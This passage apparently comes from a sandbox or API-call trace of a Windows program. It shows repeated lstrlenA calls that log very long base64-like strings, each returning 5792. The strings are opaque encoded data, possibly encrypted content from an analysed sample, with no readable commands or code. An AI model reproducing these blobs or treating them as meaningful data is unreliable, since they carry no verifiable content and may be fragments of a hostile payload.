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") returned 5792 [0042.881] lstrlenA (lpString="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") returned 5792 [0042.881] lstrlenA (lpString="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") returned 5792 [0042.881] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KV4pggJ526RyX2fBTUah1d17kQB1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIv/xN1EmbWvd3bDcjzcF+UTBaQd40Dm/1EKhBRtcOvqVz2IGXlxPSL8VopZi+3YuV4zFhiTF7+JRlfjRfYt3PyhoMD6/4HPWkALX56Y8YFeqras6EdmeyPN1KrtYvSlfD2o/z5N6AszxUaoWuNKsq1jFHxmrh/lWJOhNGqeCmeV6GFDHanKMacrpq7D+br3K2v7I2HndjVTaepOXVPzQjNpleafUuvZ1KIZpJeTHVoAtZLpThtgdFLerpL5BCAc6JJ+5aK6CRQ1pDOia4gAJkJCqUiG0oS8u6Hl2KgrmCTT4igU96Kxhz27vTMyzRTTQ59RTnEJT1off2I0RpYu2VvLDFsk5XxC/4ZcUHvkVrc/fR1poftQK9N4U+Wng94T4ww/aHa2jmPS6iPl/XRdaLDUIOcD+GT7Ti4i865/R54tukuJeZJX5wTdPFQcOCs3iWH6Wf+/tG9VsJ6llp/0FegWB7+mY6CQ8osZ6vEmKxl+t1JJW8hBRQcWoQnRJUoxCfdLJCGAwZw1ILyazzKXM380XgHn0Mu0vZIJpaISqd9C4s+Gb6qXioKJmb7o4ZyZn7utlOaX4